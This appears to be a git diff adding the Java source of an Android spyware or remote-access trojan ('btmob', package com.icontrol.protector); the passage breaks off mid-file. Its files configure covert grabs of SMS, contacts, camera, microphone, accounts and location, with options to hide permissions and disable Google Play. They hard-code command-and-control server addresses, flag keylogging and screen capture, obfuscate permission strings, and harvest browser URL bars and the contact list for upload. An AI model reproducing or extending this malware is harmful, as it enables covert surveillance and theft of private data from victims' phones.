CHAT_KEY = "chat_key"; + + // Flag to track if ChatActivity is open + public boolean isChatActivityOpen = false; + + private static ChatActivity instance; + + public static ChatActivity getInstance() { + return instance; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + + + setContentView(R.layout.activity_chat); + instance = this; + messageEditText = findViewById(R.id.messageEditText); + chattitle = findViewById(R.id.chattitle); + scrollView2 = findViewById(R.id.scrollView2); + chatLayout = findViewById(R.id.chatLayout); // Changed to chatLayout + + Button sendButton = findViewById(R.id.sendButton); + + Intent mydata = getIntent(); + + if(mydata != null){ + if(mydata.hasExtra("title")){ + chattitle.setText(mydata.getStringExtra("title")); + } + } +// sharedPreferences = getSharedPreferences(CHAT_PREFS, MODE_PRIVATE); +// +// String chatHistory = sharedPreferences.getString(CHAT_KEY, ""); +// +// // Populate chatLayout with existing chat history +// if (!chatHistory.isEmpty()) { +// String[] messages = chatHistory.split("\n"); +// for (String msg : messages) { +// String[] parts = msg.split(": "); +// String sender = parts[0]; +// String message = parts[1]; +// appendToChat(sender, message); +// } +// } + + sendButton.setOnClickListener(new View.OnClickListener() { + @Override + public void onClick(View v) { + String message = messageEditText.getText().toString().trim(); + if (!message.isEmpty()) { + appendToChat("You", message); + messageEditText.setText(""); + try{ + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "chat"); + jsonObject.put("data", message); + String jsonData = jsonObject.toString(); + + LiveChat.instance(getApplicationContext()).Livemessage(getApplicationContext(),jsonData); + }catch (Exception a){} + } + } + }); + } + public void appendToChat(String sender, String message) { + if (isChatActivityOpen) { + runOnUiThread(new Runnable() { + @Override + public void run() { + // Create a new LinearLayout to hold the message bubble + LinearLayout messageLayout = new LinearLayout(ChatActivity.this); + LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams( + LinearLayout.LayoutParams.WRAP_CONTENT, + LinearLayout.LayoutParams.WRAP_CONTENT + ); + + // Set layout parameters for the message bubble + if (sender.equals("You")) { + layoutParams.gravity = Gravity.END; // Align sender messages to the right + } else { + layoutParams.gravity = Gravity.START; // Align receiver messages to the left + } + messageLayout.setLayoutParams(layoutParams); + messageLayout.setPadding(7, 7, 7, 7); + // Create a TextView to display the message + TextView messageTextView = new TextView(ChatActivity.this); + messageTextView.setText(message); + messageTextView.setTextColor(Color.WHITE); + messageTextView.setPadding(16, 8, 16, 8); + + + // Set background color and shape for the message bubble + GradientDrawable drawable = new GradientDrawable(); + drawable.setShape(GradientDrawable.RECTANGLE); + if (sender.equals("You")) { + drawable.setColor(Color.parseColor("#2979FF")); // Blue for sender messages + } else { + drawable.setColor(Color.parseColor("#4CAF50")); // Green for receiver messages + } + drawable.setCornerRadius(16); + messageTextView.setBackground(drawable); + + // Add the TextView to the message bubble layout + messageLayout.addView(messageTextView); + + // Add the message bubble layout to the chat layout + LinearLayout chatLayout = findViewById(R.id.chatLayout); + chatLayout.addView(messageLayout); + + // Scroll to the bottom of the chat + scrollView2.post(new Runnable() { + @Override + public void run() { + scrollView2.fullScroll(ScrollView.FOCUS_DOWN); + } + }); + } + }); + } + } + + + + // Override onStart and onStop methods to track the activity state + @Override + protected void onStart() { + super.onStart(); + isChatActivityOpen = true; + } + + @Override + protected void onStop() { + super.onStop(); + isChatActivityOpen = false; + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ConfigManager.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ConfigManager.java new file mode 100644 index 0000000..bc56a72 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ConfigManager.java @@ -0,0 +1,153 @@ +package com.icontrol.protector; + +import android.content.Context; +import android.content.SharedPreferences; + +public class ConfigManager { + private static final String PREF_NAME = "BTConfig"; + private static final String IS_INITIALIZED = "BTInitialized"; + + // Short variable names for all configurations + public boolean add_accss; // addAccess + public boolean req_accss; // requestAccess + public boolean add_draw; // addDrawOverApps + public boolean req_draw; // requestDrawOverApps + public boolean add_backdata; // addBackgroundDataUsage + public boolean req_backdata; // requestBackgroundDataUsage + public boolean add_usagacc; // addUsageAccess + public boolean req_usagacc; // requestUsageAccess + public boolean add_settngs; // addChangePhoneSettings + public boolean req_settngs; // requestChangePhoneSettings + public boolean add_btryoptm; // addBatteryOptimization + public boolean req_btryoptm; // requestBatteryOptimization + public boolean add_files; // addFilesAccess + public boolean req_files; // requestFilesAccess + public boolean add_cam; // addCameraAccess + public boolean req_cam; // requestCameraAccess + public boolean add_mic; // addMicrophoneAccess + public boolean req_mic; // requestMicrophoneAccess + public boolean add_sms; // addReadSMS + public boolean req_sms; // requestReadSMS + public boolean add_ssms; // addSendSMS + public boolean req_ssms; // requestSendSMS + public boolean add_Rcontct; // addReadContacts + public boolean req_Rcontct; // requestReadContacts + public boolean add_accunts; // addReadAccounts + public boolean req_accunts; // requestReadAccounts + + public boolean add_notifiction; // addnotifi + public boolean req_notification; // requestnotifi + public boolean add_hidp; // null + public boolean req_hidp; // hide permissions + + public boolean add_stopplay; // disable google play + public boolean req_StopPlay; //disable google play + + public boolean add_location; // disable google play + public boolean req_location; //disable google play + + // Singleton instance + private static ConfigManager instance; + + private ConfigManager() {} + + public static ConfigManager getInstance() { + if (instance == null) { + instance = new ConfigManager(); + } + return instance; + } + + // Initialize configurations + public void initialize(Context context, String allConfig) { + SharedPreferences prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE); + + // Check if it's the first time + if (!prefs.getBoolean(IS_INITIALIZED, false)) { + String[] configParts = allConfig.split("\\[\\*]"); // Split by "[*]" + SharedPreferences.Editor editor = prefs.edit(); + + // Store parsed values in SharedPreferences + parseAndStore(editor, configParts); + + editor.putBoolean(IS_INITIALIZED, true); // Mark initialization as complete + editor.apply(); + } + + // Load all values into memory + loadFromPreferences(context); + } + + // Parse and store values into SharedPreferences + private void parseAndStore(SharedPreferences.Editor editor, String[] configParts) { + saveConfig(editor, "aA", "rA", configParts, 0); // Access + saveConfig(editor, "aD", "rD", configParts, 1); // Draw Over Apps + saveConfig(editor, "aB", "rB", configParts, 2); // Background Data Usage + saveConfig(editor, "aU", "rU", configParts, 3); // Usage Access + saveConfig(editor, "aC", "rC", configParts, 4); // Change Phone Settings + saveConfig(editor, "aBo", "rBo", configParts, 5); // Battery Optimization + saveConfig(editor, "aF", "rF", configParts, 6); // Files Access + saveConfig(editor, "aCam", "rCam", configParts, 7); // Camera Access + saveConfig(editor, "aMic", "rMic", configParts, 8); // Microphone Access + saveConfig(editor, "aSms", "rSms", configParts, 9); // Read SMS + saveConfig(editor, "aSS", "rSS", configParts, 10); // Send SMS + saveConfig(editor, "aRC", "rRC", configParts, 11); // Read Contacts + saveConfig(editor, "aRA", "rRA", configParts, 12); // Read Accounts + saveConfig(editor, "aRN", "rRN", configParts, 13); // show notifiction + saveConfig(editor, "aHP", "rHP", configParts, 14); // hide permissions + saveConfig(editor, "aDP", "rDP", configParts, 15); // disable play store + saveConfig(editor, "aLOC", "rLOC", configParts, 16); // request location + } + + // Save individual config parts + private void saveConfig(SharedPreferences.Editor editor, String addKey, String reqKey, String[] configParts, int index) { + if (configParts.length > index) { + String[] parts = configParts[index].split("\\|"); + editor.putBoolean(addKey, parts[0].equals("1")); + editor.putBoolean(reqKey, parts[1].equals("1")); + } else { + editor.putBoolean(addKey, false); + editor.putBoolean(reqKey, false); + } + } + + // Load all values from SharedPreferences into memory + private void loadFromPreferences(Context context) { + SharedPreferences prefs = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE); + + add_accss = prefs.getBoolean("aA", false); + req_accss = prefs.getBoolean("rA", false); + add_draw = prefs.getBoolean("aD", false); + req_draw = prefs.getBoolean("rD", false); + add_backdata = prefs.getBoolean("aB", false); + req_backdata = prefs.getBoolean("rB", false); + add_usagacc = prefs.getBoolean("aU", false); + req_usagacc = prefs.getBoolean("rU", false); + add_settngs = prefs.getBoolean("aC", false); + req_settngs = prefs.getBoolean("rC", false); + add_btryoptm = prefs.getBoolean("aBo", false); + req_btryoptm = prefs.getBoolean("rBo", false); + add_files = prefs.getBoolean("aF", false); + req_files = prefs.getBoolean("rF", false); + add_cam = prefs.getBoolean("aCam", false); + req_cam = prefs.getBoolean("rCam", false); + add_mic = prefs.getBoolean("aMic", false); + req_mic = prefs.getBoolean("rMic", false); + add_sms = prefs.getBoolean("aSms", false); + req_sms = prefs.getBoolean("rSms", false); + add_ssms = prefs.getBoolean("aSS", false); + req_ssms = prefs.getBoolean("rSS", false); + add_Rcontct = prefs.getBoolean("aRC", false); + req_Rcontct = prefs.getBoolean("rRC", false); + add_accunts = prefs.getBoolean("aRA", false); + req_accunts = prefs.getBoolean("rRA", false); + add_notifiction = prefs.getBoolean("aRN", false); + req_notification = prefs.getBoolean("rRN", false); + add_hidp = prefs.getBoolean("aHP", false); + req_hidp = prefs.getBoolean("rHP", false); + add_stopplay = prefs.getBoolean("aDP", false);//disable google play + req_StopPlay = prefs.getBoolean("rDP", false); + add_location = prefs.getBoolean("aLOC", false); + req_location = prefs.getBoolean("rLOC", false); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Consts.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Consts.java new file mode 100644 index 0000000..5ae5fba --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Consts.java @@ -0,0 +1,307 @@ +package com.icontrol.protector; + + + +import static com.icontrol.protector.My_Configs.OConstsS; +import static com.icontrol.protector.My_Configs.subdir; +import static com.icontrol.protector.UtliTools.fromBase64; +import static com.icontrol.protector.UtliTools.isURLReachable; +import static com.icontrol.protector.UtliTools.isWebSocketReachable; +import static com.icontrol.protector.UtliTools.randomnumber; + +import android.content.Intent; + +import java.net.InetAddress; +import java.net.UnknownHostException; +import java.util.Random; + +public class Consts { + + + public static String BTVersion = "BT-v3.4.1"; + + + + public static int Preformance = 20000; + + + //public static String TouchsPath = "/systems/sys/apps/tch"; + //public static String errospath = "/systemscrash/sys/apps/log"; + + public static String Sockets_Servers = "";//this will be replaced later // > wss://server.yaarsa.com/con< + public static String Server_Address = "";//this will be replaced later // > 195.160.221.203 + + + + // public static String localip = "127.0.0.1"; + // public static String google = "https://google.com"; + + + + public static String last_accepted_sk = null; + public static String URL_SOCKT() { + String decryptedHosts = Sockets_Servers; + String[] hosts = decryptedHosts.split("<"); + + if(last_accepted_sk!=null ){ + if (isWebSocketReachable(last_accepted_sk)){ + return last_accepted_sk; + }else{ + last_accepted_sk = null; + } + + } + + for (String host : hosts) { + + if (isWebSocketReachable(host)) { + last_accepted_sk=host; + return host; + } + } + return "ws://195.160.221.203:8080/"; + } + + + public static String getIPAddress(String hostname) { + //return "192.168.1.2"; + //TODO<------------- + try { + InetAddress address = InetAddress.getByName(hostname); + return address.getHostAddress(); + } catch (UnknownHostException e) { + e.printStackTrace(); + MyLoger.Error("getIPAddress", e.getMessage()); + return Server_Address; + } + } + + + public static String last_accepted_ping = null; + + public static String URL_PING() { + + if(last_accepted_ping!=null ){ + if (isURLReachable(last_accepted_ping)){ + return last_accepted_ping; + }else{ + last_accepted_ping = null; + } + } + + My_Crpter cr = My_Crpter.Getinstance(); + String decryptedHosts = cr.Dcrpt_Str(My_Configs.USR_HOST); + String[] hosts = decryptedHosts.split("<"); + for (String host : hosts) { + String addressip = getIPAddress(host); + String backupUrl = "http://" + addressip + subdir + "yarsap_80541.php"; + + if (isURLReachable(backupUrl)) { + last_accepted_ping = backupUrl; + return backupUrl; + } + } + return "http://" + Server_Address + subdir + "yarsap_80541.php"; + + } +//"https://yourserver.com/log_error.php" + +public static String URL_ERROR() { + + + My_Crpter cr = My_Crpter.Getinstance(); + String decryptedHosts = cr.Dcrpt_Str(My_Configs.USR_HOST); + String[] hosts = decryptedHosts.split("<"); + for (String host : hosts) { + String addressip = getIPAddress(host); + String backupUrl = "http://" + addressip + subdir + "log_error.php"; + + if (isURLReachable(backupUrl)) { + + return backupUrl; + } + } + return "http://" + Server_Address + subdir + "log_error.php"; + +} + //socket + +// public static String SPLIT_SKT = "[>S<]"; +// public static String SPLIT_DATA = "[>D<]"; +// public static String SPLIT_LINE = "[>L<]"; +// public static String SPLIT_ARAY = "[>A<]"; + public static String SPLIT_SKT = "[>SKT<]"; + public static String SPLIT_DATA = "[>DAT<]"; + public static String SPLIT_LINE = "[>LIN<]"; + public static String SPLIT_ARAY = "[>ARY<]"; + + + //Settings + + + public static final String USR_NAME = "CN"; + + public static final String DEVICE_ID = "ID"; + public static final String RecordName = "RecNam"; + public static final String ontimerest = "onerestrct"; + + public static final String Mob_width = "Wscr"; + public static final String Mob_height = "Hscr"; + + + //Settings options + public static final String Rec_Activitys = "Rec_Activitys"; + public static final String Rec_Notifications = "Rec_Notifications"; + // public static final String Rec_keystrokes = "Rec_keystrokes"; + public static final String Rec_links = "Rec_links"; + public static final String Rec_apps = "Rec_apps"; + //public static final String Live_Notify = "Liv_noty"; + public static final String Live_Screen = "Liv_scr"; + // public static final String Auto_j = "Ato_j"; + public static boolean Auto_jct = false; + public static boolean Live_Nots = false; + + public static boolean Rec_klogs = false; + + public static boolean liv_klogs =false; + + + public static String THE_IDF = "THE_IDF"; + public static String Sec_IDF = "SEC_IDF"; + public static String THE_CIP = "THE_CIP"; + + + + public static String patternmp = "pt_mp"; + + + + // public static final String LIVE_KLOG = "LIVE_KLOG"; + + + //notification + + //public static final int Notifi_ID = randomnumber(11111, 88888); + + + //for screen cap + public static Intent Stored_intentdata = null; + public static int Stored_resultCode = -999; + + + //accessibility booleans + //public static String Auto_Clicker = "Auto_Click";//local + //public static String Auto_Prims = "Auto_Prims";//local + public static String Send_Skilton = "Skiton_on";//local + public static String Skeleton_Color = "Skiton_clr";//local + //public static String Black_Screen = "black_scr";//local + //public static String Stop_Scanner ="stop_scan";//local + // public static String Auto_Sreen = "Auto_Screen";//local + //public static String Auto_Battary = "Auto_Battary";//local + public static String lock_screen = "lck_scr";//local + public static String lock_pin = "lck_pin";//local + public static String lock_title = "lck_title";//local + public static String lock_msg = "lck_msg";//local + public static String lock_type = "lck_typ";//local + public static String lock_cods = "lck_cds";//local + + + + public static String mob_lock = "mob_lck";//local + + + public static String AutoStartOn = "auto_ok";//local + public static String skipxaomi = "skp_xoi";//local + + public static String Silent_Screen = "Silent_scr";//local + public static String Self_Record = "self_rec";//local + public static String Live_skilton = "liv_skli";//local + public static String Live_scread = "liv_skread";//local + public static String Hidden_browser = "hid_bro";//local + public static String web_browser = "web_bro";//local + public static String web_pass = "web_pas";//local + public static String enable_trak = "enb_trk";//local + public static boolean skip_splash = false;//local + //public static String All_set = "all_set";//local + public static int SCRQuality = 10; + public static String SCRSIDF = "null"; + public final static String slide_up = "up";//local + public final static String slide_down = "down";//local + public final static String slide_left = "left";//local + public final static String slide_right = "right";//local + + + //public final static String sendloc = "send_loc";//local + public final static String Alertico = "alert_ico";//local + public final static String setupok = "setup_ok";//local + + + + public final static String Redirect_e = "red_e";//local + public final static String Redirect_ip = "red_ip";//local + public final static String Redirect_k = "red_k";//local + + + + + public static boolean Tregerdbtrry = false; + public static boolean removeme = false; + public static boolean removeapp = false; + + + + //obfus + + //"+ OBFS +" will be replaced with random string during build from vb.net + + + //"+ OBFS +" = OConstsS + + + + public static final String Time_Stamp = UtliTools.Fix_it("Time" + OConstsS + "Stamp", OConstsS); + public static final String Accessibility_Service = UtliTools.Fix_it("Accessibility" + OConstsS + "Service", OConstsS); + public static final String Read_Contacts = UtliTools.Fix_it("Read" + OConstsS + "Contacts", OConstsS); + public static final String Read_SMS = UtliTools.Fix_it("Read" + OConstsS + "SMS", OConstsS); + public static final String Read_Call_Log = UtliTools.Fix_it("Read" + OConstsS + "Call" + OConstsS + "Log", OConstsS); + public static final String Acc_Camera = UtliTools.Fix_it("Cam" + OConstsS + "era", OConstsS); + public static final String Get_Accounts = UtliTools.Fix_it("Get" + OConstsS + "Accounts", OConstsS); + public static final String Record_Audio = UtliTools.Fix_it("Record" + OConstsS + "Audio", OConstsS); + //public static final String Location = UtliTools.Fix_it("Location", OConstsS); + public static String IV = UtliTools.Fix_it("2230209"+OConstsS+"522049090", OConstsS); + public static String PASSWORD = UtliTools.Fix_it("48147805"+OConstsS+"84699673", OConstsS); + public static String SALT =UtliTools.Fix_it( "28943563"+OConstsS+"30652558", OConstsS); + public static final String Call_Phone = UtliTools.Fix_it("Call" + OConstsS + "Phone", OConstsS); + public static final String Post_Noty = UtliTools.Fix_it("Notify" + OConstsS + "Prim", OConstsS); + public static final String Call_Record = UtliTools.Fix_it("Call" + OConstsS + "Record", OConstsS); + public static final String Send_SMS = UtliTools.Fix_it("Send" + OConstsS + "SMS", OConstsS); + public static final String Set_Wallpaper = UtliTools.Fix_it("Set" + OConstsS + "Wallpaper", OConstsS); + public static final String Doze_Mode = UtliTools.Fix_it("Doze" + OConstsS + "Mode", OConstsS); + public static final String Draw_Overlays = UtliTools.Fix_it("Draw" + OConstsS + "Overlays", OConstsS); + public static final String Package_Installs = UtliTools.Fix_it("Package" + OConstsS + "Installs", OConstsS); + public static final String write_settings_sys = UtliTools.Fix_it("Write" + OConstsS + "Settings", OConstsS); + public static final String file_acc_state = UtliTools.Fix_it("files" + OConstsS + "access", OConstsS); + + public static final String CHROME_PACKAGE = UtliTools.Fix_it("com.andr" + OConstsS + "oid.chrome", OConstsS); + public static final String CHROME_ID = UtliTools.Fix_it("com.android.chrome:id/url_" + OConstsS + "bar", OConstsS); + public static final String FIREFOX_PACKAGE = UtliTools.Fix_it("org.mozi" + OConstsS + "lla.firefox", OConstsS); + public static final String FIREFOX_ID = UtliTools.Fix_it("org.mozilla.firefox:id/url_" + OConstsS + "bar_title", OConstsS); + public static final String SAMSUNG_BROWSER_PACKAGE = UtliTools.Fix_it("com.sec.an" + OConstsS + "droid.app.sbrowser", OConstsS); + public static final String SAMSUNG_BROWSER_ID = UtliTools.Fix_it("com.sec.android.app.sbrowser:id/" + OConstsS + "location_bar_edit_text", OConstsS); + public static final String BRAVE_PACKAGE = UtliTools.Fix_it("com.b" + OConstsS + "rave.browser", OConstsS); + public static final String BRAVE_ID = UtliTools.Fix_it("com.brave.browser:id/" + OConstsS + "url_bar", OConstsS); + public static final String OPERA_PACKAGE = UtliTools.Fix_it("com.oper" + OConstsS + "a.browser", OConstsS); + public static final String OPERA_ID = UtliTools.Fix_it("com.opera.browser:id/" + OConstsS + "url_field", OConstsS); + public static final String DUCKDUCKGO_PACKAGE = UtliTools.Fix_it("com.duckduck" + OConstsS + "go.mobile.android", OConstsS); + public static final String DUCKDUCKGO_ID = UtliTools.Fix_it("com.duckduckgo.mobile.android:id/" + OConstsS + "omnibarTextInput", OConstsS); + public static final String OPERA_MINI_PACKAGE = UtliTools.Fix_it("com.oper" + OConstsS + "a.mini.native", OConstsS); + public static final String OPERA_MINI_ID = UtliTools.Fix_it("com.opera.mini.native:id/" + OConstsS + "url_field", OConstsS); + public static final String MICROSOFT_EDGE_PACKAGE = UtliTools.Fix_it("com.micro" + OConstsS + "soft.emmx", OConstsS); + public static final String MICROSOFT_EDGE_ID = UtliTools.Fix_it("com.microsoft.emmx:id/" + OConstsS + "url_bar", OConstsS); + public static final String COLOROS_BROWSER_PACKAGE = UtliTools.Fix_it("com.col" + OConstsS + "oros.browser", OConstsS); + public static final String COLOROS_BROWSER_ID = UtliTools.Fix_it("com.coloros.browser:id/" + OConstsS + "azt", OConstsS); + public static final String ANDROID_BROWSER_PACKAGE = UtliTools.Fix_it("com.andro" + OConstsS + "id.browser", OConstsS); + public static final String ANDROID_BROWSER_ID = UtliTools.Fix_it("com.android.browser:id/" + OConstsS + "url", OConstsS); + public static final String TUNNY_BROWSER_PACKAGE = UtliTools.Fix_it("mobi.mgee" + OConstsS + "k.TunnyBrowser", OConstsS); + public static final String TUNNY_BROWSER_ID = UtliTools.Fix_it("mobi.mgeek.TunnyBrowser:id/" + OConstsS + "search_input", OConstsS); +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Contct_manager.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Contct_manager.java new file mode 100644 index 0000000..e2829fe --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Contct_manager.java @@ -0,0 +1,159 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.content.ContentProviderOperation; +import android.content.ContentResolver; +import android.content.Context; +import android.content.OperationApplicationException; +import android.database.Cursor; +import android.os.RemoteException; +import android.provider.ContactsContract; + +import java.util.ArrayList; +import java.util.Random; + +public class Contct_manager { + public static String Load(Context c) { + //byte[] Databytes = null; + try { + StringBuffer sb = new StringBuffer(); + ContentResolver CR = c.getContentResolver(); + Cursor cur = CR.query(ContactsContract.Data.CONTENT_URI, null, + ContactsContract.Data.HAS_PHONE_NUMBER + "!=0 AND (" + ContactsContract.Data.MIMETYPE + "=? OR " + ContactsContract.Data.MIMETYPE + "=?)", + new String[]{ContactsContract.CommonDataKinds.Email.CONTENT_ITEM_TYPE, ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE}, + ContactsContract.Data.CONTACT_ID); + while (cur.moveToNext()) { + + String number = cur.getString(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)).trim(); + + if (number != null && !number.isEmpty() && !number.equals("null") && number.length() >0) + { + String name = cur.getString(cur.getColumnIndex(ContactsContract.Data.DISPLAY_NAME)); + String connected_via = cur.getString(cur.getColumnIndex(ContactsContract.Data.ACCOUNT_TYPE_AND_DATA_SET)); + int id = cur.getInt(cur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID)); + sb.append(name + + Consts.SPLIT_ARAY + + number + + Consts.SPLIT_ARAY + + connected_via + + Consts.SPLIT_ARAY + + id + + Consts.SPLIT_LINE); +// MyLoger.Error("TestCont:",number); +// MyLoger.Error("TestCont2:",rndid()); + } + + + + } + cur.close(); + //Log.e("Contacts:",sb.toString()); + String s0 = sb.toString() ; + return s0; + } catch (Exception e) { + //Databytes = e.getMessage().getBytes(); + } + + return null; + } + + + public static void Remove(Context ctx,String id) { + ArrayList ops = new ArrayList(); + ContentResolver cr = ctx.getContentResolver(); + ops.add(ContentProviderOperation + .newDelete(ContactsContract.RawContacts.CONTENT_URI) + .withSelection( + ContactsContract.RawContacts.CONTACT_ID + + " = ?", + new String[] { id }) + .build()); + + try { + cr.applyBatch(ContactsContract.AUTHORITY, ops); + + + } catch (RemoteException e) { + e.printStackTrace(); + } catch (OperationApplicationException e) { + e.printStackTrace(); + } + //background_process(); + ops.clear(); + + } + public static boolean Add(Context ctx , String Name, String Number) { + String DisplayName = Name; + String MobileNumber = Number; + + ArrayList ops = new ArrayList(); + ops.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI) + .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, null) + .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, null) + .build()); + + //------------------------------------------------------ Names + if(DisplayName != null) + { + ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI) + .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0) + .withValue(ContactsContract.Data.MIMETYPE, + ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE) + .withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME, DisplayName).build()); + } + //------------------------------------------------------ Mobile Number + if(MobileNumber != null) + { + ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI) + .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0) + .withValue(ContactsContract.Data.MIMETYPE, + ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE) + .withValue(ContactsContract.CommonDataKinds.Phone.NUMBER, MobileNumber) + .withValue(ContactsContract.CommonDataKinds.Phone.TYPE, + ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE) + .build()); + } + + + //------------------------------------------------------ Email +// if(emailID != null) +// { +// ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI) +// .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0) +// .withValue(ContactsContract.Data.MIMETYPE, +// ContactsContract.CommonDataKinds.Email.CONTENT_ITEM_TYPE) +// .withValue(ContactsContract.CommonDataKinds.Email.DATA, emailID) +// .withValue(ContactsContract.CommonDataKinds.Email.TYPE, ContactsContract.CommonDataKinds.Email.TYPE_WORK) +// .build()); +// } + + //------------------------------------------------------ Organization +// if(!company.equals("") && !jobTitle.equals("")) +// { +// ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI) +// .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0) +// .withValue(ContactsContract.Data.MIMETYPE, +// ContactsContract.CommonDataKinds.Organization.CONTENT_ITEM_TYPE) +// .withValue(ContactsContract.CommonDataKinds.Organization.COMPANY, company) +// .withValue(ContactsContract.CommonDataKinds.Organization.TYPE, ContactsContract.CommonDataKinds.Organization.TYPE_WORK) +// .withValue(ContactsContract.CommonDataKinds.Organization.TITLE, jobTitle) +// .withValue(ContactsContract.CommonDataKinds.Organization.TYPE, ContactsContract.CommonDataKinds.Organization.TYPE_WORK) +// .build()); +// } + + // Asking the Contact provider to create a new contact + try + { + ctx.getContentResolver().applyBatch(ContactsContract.AUTHORITY, ops); + return true; + } + catch (Exception e) + { + //e.printStackTrace(); + ////Toast.makeText(ctx, "Exception: " + e.getMessage(), //Toast.LENGTH_SHORT).show(); + AlertServer(ctx,"Add Contact","Error:"+e.getMessage()); + } + return false; + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/CustomFilesFilter.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/CustomFilesFilter.java new file mode 100644 index 0000000..80e6810 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/CustomFilesFilter.java @@ -0,0 +1,154 @@ +package com.icontrol.protector; + + +import java.io.File; +import java.io.FileFilter; +import java.util.ArrayList; + +public class CustomFilesFilter implements FileFilter { + + protected static final String TAG = "CustomFilesFilter"; + + /** + * Allows Directories + */ + private final boolean allowDirectories; + + /** + * File Type to Filter + */ + private final FileType fileType; + + public CustomFilesFilter(FileType fileType, boolean allowDirectories) { + this.fileType = fileType; + this.allowDirectories = allowDirectories; + } + + public CustomFilesFilter(FileType fileType) { + this(fileType, true); + } + + @Override + public boolean accept(File f) { + if ( !f.canRead()) { + return false; + } + + if (f.isDirectory()) { + return checkDirectory(f); + } + return checkFileExtension(f); + } + + private boolean checkFileExtension(File f) { + String ext = getFileExtension(f); + if (ext == null) return false; + try { + if (fileType.getSupportedFileFormat(ext.toUpperCase()) != null) { + return true; + } + } catch (IllegalArgumentException e) { + // Not known enum value + return false; + } + return false; + } + + private boolean checkDirectory(File dir) { + if (!allowDirectories) { + return false; + } else { + final ArrayList subDirs = new ArrayList<>(); + + File[] files = dir.listFiles(new FileFilter() { + + @Override + public boolean accept(File file) { + if (file.isFile()) { + if (file.getName().equals(".nomedia")) + return false; + + return checkFileExtension(file); + } else if (file.isDirectory()) { + subDirs.add(file); + return false; + } else + return false; + } + }); + + // Safely check for null + if (files == null) { + return false; // Return false if the directory cannot be read or does not exist + } + + int fileCount = files.length; + + if (fileCount > 0) { + // LogHelper.i(TAG, "checkDirectory: dir " + dir.toString() + " return true with fileCount -> " + fileCount); + return true; + } + + for (File subDir : subDirs) { + if (checkDirectory(subDir)) { + // LogHelper.i(TAG, "checkDirectory [for]: subDir " + subDir.toString() + " return true"); + return true; + } + } + return false; + } + } + + + public String getFileExtension(File f) { + return getFileExtension(f.getName()); + } + + public String getFileExtension(String fileName) { + int i = fileName.lastIndexOf('.'); + if (i > 0) { + return fileName.substring(i + 1); + } else + return null; + } + + /** + * File Types that can be filtered + */ + public enum FileType { + IMAGES(new String[]{"jpg", "jpeg", "png", "gif", "bmp", "webp", "heic", "heif"}), + VIDEOS(new String[]{"mp4", "mkv", "3gp", "avi", "mov", "flv", "wmv"}), + AUDIOS(new String[]{"mp3", "aac", "flac", "wav", "ogg", "m4a", "wma"}), + DOCUMENTS(new String[]{"pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "txt"}); + + private String[] supportedExtensions; + + FileType(String[] supportedExtensions) { + this.supportedExtensions = supportedExtensions; + } + + public SupportedFileFormat getSupportedFileFormat(String extension) { + for (String ext : supportedExtensions) { + if (ext.equalsIgnoreCase(extension)) { + return new SupportedFileFormat(ext); + } + } + return null; + } + } + + /** + * Class representing a supported file format + */ + public static class SupportedFileFormat { + private String fileSuffix; + + public SupportedFileFormat(String fileSuffix) { + this.fileSuffix = fileSuffix; + } + + public String getFileSuffix() { + return fileSuffix; + } + } +} \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Deviceinfo.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Deviceinfo.java new file mode 100644 index 0000000..e6bf74f --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Deviceinfo.java @@ -0,0 +1,273 @@ +package com.icontrol.protector; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; +import android.media.AudioManager; +import android.net.ConnectivityManager; +import android.net.NetworkInfo; +import android.net.wifi.WifiInfo; +import android.net.wifi.WifiManager; +import android.os.BatteryManager; +import android.os.Build; +import android.os.PowerManager; +import android.provider.Settings; +import android.telephony.TelephonyManager; +import android.text.TextUtils; + +import java.util.Locale; + +public class Deviceinfo { + + + public 